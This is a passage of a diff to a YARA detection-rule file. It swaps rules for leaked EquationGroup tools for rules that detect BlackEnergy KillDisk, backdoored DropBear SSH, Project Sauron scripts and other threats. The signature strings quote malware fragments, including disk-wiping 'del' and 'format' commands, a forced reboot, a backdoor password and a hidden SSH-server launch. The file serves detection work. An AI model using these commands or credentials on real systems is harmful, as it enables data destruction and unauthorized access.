-		$x4 = "E: Execute a Command on the Implant" fullword ascii
+		$s0 = "WshShell.Run \"dropbear.exe -r rsa -d dss -a -p 6789\", 0, false" fullword ascii
+		$s1 = "WshShell.CurrentDirectory = \"C:\\WINDOWS\\TEMP\\Dropbear\\\"" fullword ascii
+		$s2 = "Set WshShell = CreateObject(\"WScript.Shell\")" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and 1 of them )
+		filesize <1KB and 2 of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Epwrapper : FILE
+rule SIGNATURE_BASE_Dropbear_SSH_Server : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects DropBear SSH Server (not a threat but used to maintain access)"
 		author = "Florian Roth (Nextron Systems)"
-		id = "81b72f7f-ba5a-5f45-b77c-071cfb4571d3"
-		date = "2017-04-15"
+		id = "22595d8b-b7ea-570e-ad17-d5bcec613abf"
+		date = "2016-01-03"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2256-L2271"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9a1a54cd3fef3db9a20f3be25336fcbabe0d993403f001a04a02b5dbfd629543"
-		score = 75
+		reference = "http://feedproxy.google.com/~r/eset/blog/~3/BXJbnGSvEFc/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_blackenergy.yar#L51-L69"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "0969daac4adc84ab7b50d4f9ffb16c4e1a07c6dbfc968bd6649497c794a161cd"
+		logic_hash = "6b8acaaa64329d09d3d22d74f4f40288fba3f5faaff63e1ee6b2e6153f14d730"
+		score = 50
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "a8eed17665ee22198670e22458eb8c9028ff77130788f24f44986cce6cebff8d"
 
 	strings:
-		$x1 = "* Failed to get remote TCP socket address" fullword wide
-		$x2 = "* Failed to get 'LPStart' export" fullword wide
-		$s5 = "Usage: %ls <logdir> <dll_search_path> <dll_to_load_path> <socket>" fullword wide
+		$s1 = "Dropbear server v%s https://matt.ucc.asn.au/dropbear/dropbear.html" fullword ascii
+		$s2 = "Badly formatted command= authorized_keys option" fullword ascii
+		$s3 = "This Dropbear program does not support '%s' %s algorithm" fullword ascii
+		$s4 = "/etc/dropbear/dropbear_dss_host_key" fullword ascii
+		$s5 = "/etc/dropbear/dropbear_rsa_host_key" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <20KB and 1 of them )
+		uint16(0)==0x5a4d and filesize <1000KB and 2 of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Diba_Target_2000 : FILE
+rule SIGNATURE_BASE_Blackenergy_Backdoorpass_Dropbear_SSH : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects the password of the backdoored DropBear SSH Server - BlackEnergy"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c6ae85b6-0670-558c-9ce5-64bd5822f35b"
-		date = "2017-04-15"
+		id = "60db00dd-72b3-5a28-90de-2a397b1e007b"
+		date = "2016-01-03"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2273-L2290"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "dfcd7d928c921dbe7162712ca74a105a938fd9ac675faaaa228d05139b2077de"
+		reference = "http://feedproxy.google.com/~r/eset/blog/~3/BXJbnGSvEFc/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_blackenergy.yar#L71-L84"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "0969daac4adc84ab7b50d4f9ffb16c4e1a07c6dbfc968bd6649497c794a161cd"
+		logic_hash = "3af58d155691d9323458280ad1b933e8e784acafb0974f5f267b93d9b02e825e"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "f9ea8ff5985b94f635d03f3aab9ad4fb4e8c2ad931137dba4f8ee8a809421b91"
 
 	strings:
-		$s1 = "0M1U1Z1p1" fullword ascii
-		$op1 = { f4 65 c6 45 f5 6c c6 45 f6 33 c6 45 f7 32 c6 45 }
-		$op2 = { 36 c6 45 e6 34 c6 45 e7 50 c6 45 e8 72 c6 45 e9 }
-		$op3 = { c6 45 e8 65 c6 45 e9 70 c6 45 ea 74 c6 45 eb 5f }
+		$s1 = "passDs5Bu9Te7" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <1000KB and 3 of them )
+		uint16(0)==0x5a4d and $s1
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Dllload_Target : FILE
+rule SIGNATURE_BASE_Blackenergy_Killdisk_1 : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects KillDisk malware from BlackEnergy"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9def0814-c86a-5fae-abc2-4185596a74aa"
-		date = "2017-04-15"
+		id = "304e7aa3-48d3-5015-aaf1-6b1df2441b75"
+		date = "2016-01-03"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2292-L2309"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ab50ad9e01c55b3f40e98e6e2cf77c1ad7d6d6ec81a56bbb2263a6e05912e272"
-		score = 75
+		reference = "http://feedproxy.google.com/~r/eset/blog/~3/BXJbnGSvEFc/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_blackenergy.yar#L88-L115"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fa64434422a16166938b9eede9c50b79bae90632f1500e6529dcf26dbebe50f1"
+		score = 80
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "a42d5201af655e43cefef30d7511697e6faa2469dc4a74bc10aa060b522a1cf5"
+		super_rule = 1
+		hash1 = "11b7b8a7965b52ebb213b023b6772dd2c76c66893fc96a18a9a33c8cf125af80"
+		hash2 = "5d2b1abc7c35de73375dd54a4ec5f0b060ca80a1831dac46ad411b4fe4eac4c6"
+		hash3 = "c7536ab90621311b526aefd56003ef8e1166168f038307ae960346ce8f75203d"
+		hash4 = "f52869474834be5a6b5df7f8f0c46cbc7e9b22fa5cb30bee0f363ec6eb056b95"
 
 	strings:
-		$s1 = "BzWKJD+" fullword ascii
-		$op1 = { 44 24 6c 6c 88 5c 24 6d }
-		$op2 = { 44 24 54 63 c6 44 24 55 74 c6 44 24 56 69 }
-		$op3 = { 44 24 5c 6c c6 44 24 5d 65 c6 44 24 5e }
+		$s0 = "system32\\cmd.exe" fullword ascii
+		$s1 = "system32\\icacls.exe" fullword wide
+		$s2 = "/c del /F /S /Q %c:\\*.*" fullword ascii
+		$s3 = "shutdown /r /t %d" fullword ascii
+		$s4 = "/C /Q /grant " fullword wide
+		$s5 = "%08X.tmp" fullword ascii
+		$s6 = "/c format %c: /Y /X /FS:NTFS" fullword ascii
+		$s7 = "/c format %c: /Y /Q" fullword ascii
+		$s8 = "taskhost.exe" fullword wide
+		$s9 = "shutdown.exe" fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and all of them )
+		uint16(0)==0x5a4d and filesize <500KB and 8 of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_EXPA : FILE
+rule SIGNATURE_BASE_Blackenergy_Killdisk_2 : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects KillDisk malware from BlackEnergy"
 		author = "Florian Roth (Nextron Systems)"
-		id = "106efe9b-f70f-51cf-bbb2-b9bf61df1dd1"
-		date = "2017-04-15"
-		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2311-L2327"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2aa4ee5b128714cfa7f5d29f7ef110e1b18fb7bc21351444b2472ff74c4139d3"
-		score = 75
+		id = "f0304e87-a278-5963-9af0-935c088c00ec"
+		date = "2016-01-03"
+		modified = "2023-01-06"
+		reference = "http://feedproxy.google.com/~r/eset/blog/~3/BXJbnGSvEFc/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_blackenergy.yar#L117-L138"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "38ce9ab347690914f27e7ae89cc6fb2af02ee223e21822eb3b75fde772d3eaff"
+		score = 80
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "2017176d3b5731a188eca1b71c50fb938c19d6260c9ff58c7c9534e317d315f8"
+		super_rule = 1
+		hash1 = "11b7b8a7965b52ebb213b023b6772dd2c76c66893fc96a18a9a33c8cf125af80"
+		hash2 = "5d2b1abc7c35de73375dd54a4ec5f0b060ca80a1831dac46ad411b4fe4eac4c6"
+		hash3 = "f52869474834be5a6b5df7f8f0c46cbc7e9b22fa5cb30bee0f363ec6eb056b95"
 
 	strings:
-		$x1 = "* The target is IIS 6.0 but is not running content indexing servicess," fullword ascii
-		$x2 = "--ver 6 --sp <service_pack> --lang <language> --attack shellcode_option[s]sL" fullword ascii
-		$x3 = "By default, the shellcode will attempt to immediately connect s$" fullword ascii
-		$x4 = "UNEXPECTED SHELLCODE CONFIGURATION ERRORs" fullword ascii
+		$s0 = "%c:\\~tmp%08X.tmp" fullword ascii
+		$s1 = "%s%08X.tmp" fullword ascii
+		$s2 = ".exe.sys.drv.doc.docx.xls.xlsx.mdb.ppt.pptx.xml.jpg.jpeg.ini.inf.ttf" wide
+		$s3 = "%ls_%ls_%ls_%d.~tmp" fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <12000KB and 1 of them )
+		uint16(0)==0x5a4d and filesize <500KB and 3 of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Remoteexecute_Target : FILE
+rule SIGNATURE_BASE_Blackenergy_Driver_USBMDM : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Black Energy Driver"
 		author = "Florian Roth (Nextron Systems)"
-		id = "608e5244-2d3f-573c-a0de-44637051f4ba"
-		date = "2017-04-15"
+		id = "d5e8faf0-38cb-5193-b859-83ea09278011"
+		date = "2016-01-04"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2329-L2345"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3eedb6abb09989784a7dc5e721f9901e936f2c0241967b48858e5e5897b9f24a"
+		reference = "http://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_blackenergy.yar#L140-L163"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "273a00de7af1b7490bff2eae545b358a5483bae0d55a560bef7bd9fa24b0f1d9"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "4a649ca8da7b5499821a768c650a397216cdc95d826862bf30fcc4725ce8587f"
+		super_rule = 1
+		hash1 = "7874a10e551377d50264da5906dc07ec31b173dee18867f88ea556ad70d8f094"
+		hash2 = "b73777469f939c331cbc1c9ad703f973d55851f3ad09282ab5b3546befa5b54a"
+		hash3 = "edb16d3ccd50fc8f0f77d0875bf50a629fa38e5ba1b8eeefd54468df97eba281"
+		hash4 = "ac13b819379855af80ea3499e7fb645f1c96a4a6709792613917df4276c583fc"
+		hash5 = "7a393b3eadfc8938cbecf84ca630e56e37d8b3d23e084a12ea5a7955642db291"
+		hash6 = "405013e66b6f137f915738e5623228f36c74e362873310c5f2634ca2fda6fbc5"
+		hash7 = "244dd8018177ea5a92c70a7be94334fa457c1aab8a1c1ea51580d7da500c3ad5"
+		hash8 = "edcd1722fdc2c924382903b7e4580f9b77603110e497393c9947d45d311234bf"
 
 	strings:
-		$s1 = "Win32_Process" fullword ascii
-		$s2 = "\\\\%ls\\root\\cimv2" fullword wide
-		$op1 = { 83 7b 18 01 75 12 83 63 }
+		$s1 = "USB MDM Driver" fullword wide
+		$s2 = "KdDebuggerNotPresent" fullword ascii
+		$s3 = "KdDebuggerEnabled" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and all of them )
+		uint16(0)==0x5a4d and filesize <180KB and all of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_DS_Parselogs : FILE
+rule SIGNATURE_BASE_Blackenergy_Driver_AMDIDE : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Black Energy Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "1906c0fc-3fbc-5995-8789-f1c02e574672"
-		date = "2017-04-15"
+		id = "e5b57c33-87f7-5411-995c-384e0afa0348"
+		date = "2016-01-04"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2347-L2362"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e4c35476b512378d1e3c7e7e3e9dae16adb0d4de4ecab143d034110836c11d0d"
+		reference = "http://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_blackenergy.yar#L165-L188"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cb6017327be464bcc2d9efca676c58a9ede45d122460bc167f87e78880c4ace5"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "0228691d63038b072cdbf50782990d505507757efbfa87655bb2182cf6375956"
+		super_rule = 1
+		hash1 = "32d3121135a835c3347b553b70f3c4c68eef711af02c161f007a9fbaffe7e614"
+		hash2 = "3432db9cb1fb9daa2f2ac554a0a006be96040d2a7776a072a8db051d064a8be2"
+		hash3 = "90ba78b6710462c2d97815e8745679942b3b296135490f0095bdc0cd97a34d9c"
+		hash4 = "97be6b2cec90f655ef11ed9feef5b9ef057fd8db7dd11712ddb3702ed7c7bda1"
+		hash5 = "5111de45210751c8e40441f16760bf59856ba798ba99e3c9532a104752bf7bcc"
+		hash6 = "cbc4b0aaa30b967a6e29df452c5d7c2a16577cede54d6d705ca1f095bd6d4988"
+		hash7 = "1ce0dfe1a6663756a32c69f7494ad082d293d32fe656d7908fb445283ab5fa68"
 
 	strings:
-		$x1 = "* Size (%d) of remaining capture file is too small to contain a valid header" fullword wide
-		$x2 = "* Capture header not found at start of buffer" fullword wide
-		$x3 = "Usage: %ws <capture_file> <results_prefix>" fullword wide
+		$s1 = " AMD IDE driver" fullword wide
+		$s2 = "SessionEnv" fullword wide
+		$s3 = "\\DosDevices\\{C9059FFF-1C49-4445-83E8-" wide
+		$s4 = "\\Device\\{C9059FFF-1C49-4445-83E8-" wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <100KB and 1 of them )
+		uint16(0)==0x5a4d and filesize <150KB and all of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Oracle_Implant : FILE
+rule SIGNATURE_BASE_SUSP_Deviceguard_WDS_Evasion : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects WDS file used to circumvent Device Guard"
 		author = "Florian Roth (Nextron Systems)"
-		id = "6ff4cd21-1060-5901-842e-c04bde4f16ec"
-		date = "2017-04-15"
-		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2364-L2379"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "568a5d103527e6fd99bbac8d49a2d667f464fd16d5bf276f98c88c39e129b58b"
-		score = 75
+		id = "469b60d4-43d3-5a85-aa51-e453d8c858c0"
+		date = "2015-01-01"
+		modified = "2023-01-06"
+		reference = "http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_deviceguard_evasion.yar#L2-L17"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4be9d7c34f7bafeb53db4fc1262a3692493b2253b0de7dc97480b01b62a9f12c"
+		score = 70
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "8e9be4960c62ed7f210ce08f291e410ce0929cd3a86fe70315d7222e3df4587e"
 
 	strings:
-		$op0 = { fe ff ff ff 48 89 9c 24 80 21 00 00 48 89 ac 24 }
-		$op1 = { e9 34 11 00 00 b8 3e 01 00 00 e9 2a 11 00 00 b8 }
-		$op2 = { 48 8b ca e8 bf 84 00 00 4c 8b e0 8d 34 00 44 8d }
+		$s1 = "r @$ip=@$t0" ascii
+		$s2 = ";eb @$t0+" ascii
+		$s3 = ".foreach /pS" ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <500KB and all of them )
+		filesize <50KB and all of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Dmgz_Target : FILE
+rule SIGNATURE_BASE_SUSP_Certificate_Payload : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
-		author = "Florian Roth (Nextron Systems)"
-		id = "182a2488-ac3f-5dc6-aa61-d6d267574d10"
-		date = "2017-04-15"
+		description = "Detects payloads that pretend to be certificates"
+		author = "Didier Stevens, Florian Roth"
+		id = "6f1fe410-591a-5a59-a683-67cad9777dfe"
+		date = "2018-08-02"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2381-L2395"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9ae3e0c30c9dbee311d4e5576b1a447ac57f8b1786dc5753246ad3c08ccecb85"
-		score = 75
+		reference = "https://blog.nviso.be/2018/08/02/powershell-inside-a-certificate-part-3/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cert_payloads.yar#L1-L22"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "909cf4209bbb876a042d86e017f65ce3764d2fde7a602406ed8531ba97c9fb9b"
+		score = 50
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "5964966041f93d5d0fb63ce4a85cf9f7a73845065e10519b0947d4a065fdbdf2"
 
 	strings:
-		$s1 = "\\\\.\\%ls" fullword ascii
-		$s3 = "6\"6<6C6H6M6Z6f6t6" fullword ascii
+		$re1 = "-----BEGIN CERTIFICATE-----"
+		$fp1 = "replace it with the PEM-encoded root certificate"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <80KB and all of them )
+		uint32(0)==0x2D2D2D2D and $re1 at 0 and not uint8(29)==0x4D and not uint8(28)==0x4D and not 1 of ($fp*)
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Setresourcename : FILE
+rule SIGNATURE_BASE_APT_Project_Sauron_Scripts
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects scripts (mostly LUA) from Project Sauron report by Kaspersky"
 		author = "Florian Roth (Nextron Systems)"
-		id = "dc261147-3b52-57c3-9729-2645a0999a99"
-		date = "2017-04-15"
+		id = "575a6f1b-5a4d-5f81-b44a-b7025dbec2a5"
+		date = "2016-08-08"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2397-L2413"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e26aac30e06da14060a955761d08e6f543db2f2747be2959b0090f60e6eb52a5"
+		reference = "https://goo.gl/eFoP4A"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_project_sauron_extras.yar#L1-L25"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "275ec8de40ae973b4ec4c891c56a70fc2fd05abff258b8015d986d0106506367"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "537793d5158aecd0debae25416450bd885725adfc8ca53b0577a3df4b0222e2e"
 
 	strings:
-		$x1 = "Updates the name of the dll or executable in the resource file" fullword ascii
-		$x2 = "*NOTE: SetResourceName does not work with PeddleCheap versions" fullword ascii
-		$x3 = "2 = [appinit.dll] level4 dll" fullword ascii
-		$x4 = "1 = [spcss32.exe] level3 exe" fullword ascii
+		$x1 = "local t = w.exec2str(\"regedit "
+		$x2 = "local r = w.exec2str(\"cat"
+		$x3 = "ap*.txt link*.txt node*.tun VirtualEncryptedNetwork.licence"
+		$x4 = "move O FakeVirtualEncryptedNetwork.dll"
+		$x5 = "sinfo | basex b 32url | dext l 30"
+		$x6 = "w.exec2str(execStr)"
+		$x7 = "netnfo irc | basex b 32url"
+		$x8 = "w.exec(\"wfw status\")"
+		$x9 = "exec(\"samdump\")"
+		$x10 = "cat VirtualEncryptedNetwork.ini|grep"
+		$x11 = "if string.lower(k) == \"securityproviders\" then"
+		$x12 = "exec2str(\"plist b | grep netsvcs\")"
+		$x14 = "SAURON_KBLOG_KEY ="
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <100KB and 1 of them )
+		1 of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Drivers_Implant : FILE
+rule SIGNATURE_BASE_HKTL_Dsniff
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects Dsniff hack tool"
 		author = "Florian Roth (Nextron Systems)"
-		id = "727a0a8c-0019-53e9-9632-c610299305fc"
-		date = "2017-04-15"
+		id = "eb39185b-330f-5b93-ac58-0465e5767919"
+		date = "2019-02-19"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2415-L2431"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "45190a317f3d293dbc3015873080d1253bfb3298008f5dea69ab1a5780a70721"
-		score = 75
+		reference = "https://goo.gl/eFoP4A"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_project_sauron_extras.yar#L27-L39"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0edd3ba7e78ee2810aa3c7643a96382c1fe0b5e627913a5a9bac2e83c8d40274"
+		score = 55
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "ee8b048f1c6ba821d92c15d614c2d937c32aeda7b7ea0943fd4f640b57b1c1ab"
+		tags = ""
 
 	strings:
-		$s1 = ".?AVFeFinallyFailure@@" fullword ascii
-		$s2 = "hZwLoadDriver" fullword ascii
-		$op1 = { b0 01 e8 58 04 00 00 c3 33 }
+		$x1 = ".*account.*|.*acct.*|.*domain.*|.*login.*|.*member.*"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <30KB and all of them )
+		1 of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Shares_Target : FILE
+rule SIGNATURE_BASE_APT_Project_Sauron_Arping_Module
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects strings from arping module - Project Sauron report by Kaspersky"
 		author = "Florian Roth (Nextron Systems)"
-		id = "51245be4-6d24-57e4-8c92-c8c1ae5e3cf9"
-		date = "2017-04-15"
+		id = "42389511-de92-57cb-9dee-9f829fd5e55a"
+		date = "2016-08-08"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2433-L2449"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "11a1af97d720286a7fadf8b056f8f7add70acb041a828441166f5c74bc7a819d"
+		reference = "https://goo.gl/eFoP4A"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_project_sauron_extras.yar#L41-L55"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d87e91441994c4ed863596d79c108c9f72adfb708f885cb63a881eb25aa089b7"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "6c57fb33c5e7d2dee415ae6168c9c3e0decca41ffe023ff13056ff37609235cb"
 
 	strings:
-		$s1 = "Select * from Win32_Share" fullword ascii
-		$s2 = "slocalhost" fullword wide
-		$s3 = "\\\\%ls\\root\\cimv2" fullword wide
-		$s4 = "\\\\%ls\\%ls" fullword ascii
+		$s1 = "Resolve hosts that answer"
+		$s2 = "Print only replying Ips"
+		$s3 = "Do not display MAC addresses"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and all of them )
+		all of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Ntfltmgr : FILE
+rule SIGNATURE_BASE_APT_Project_Sauron_Kblogi_Module
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects strings from kblogi module - Project Sauron report by Kaspersky"
 		author = "Florian Roth (Nextron Systems)"
-		id = "402b14f5-4a7a-58fb-8f4a-0a29d6d34440"
-		date = "2017-04-15"
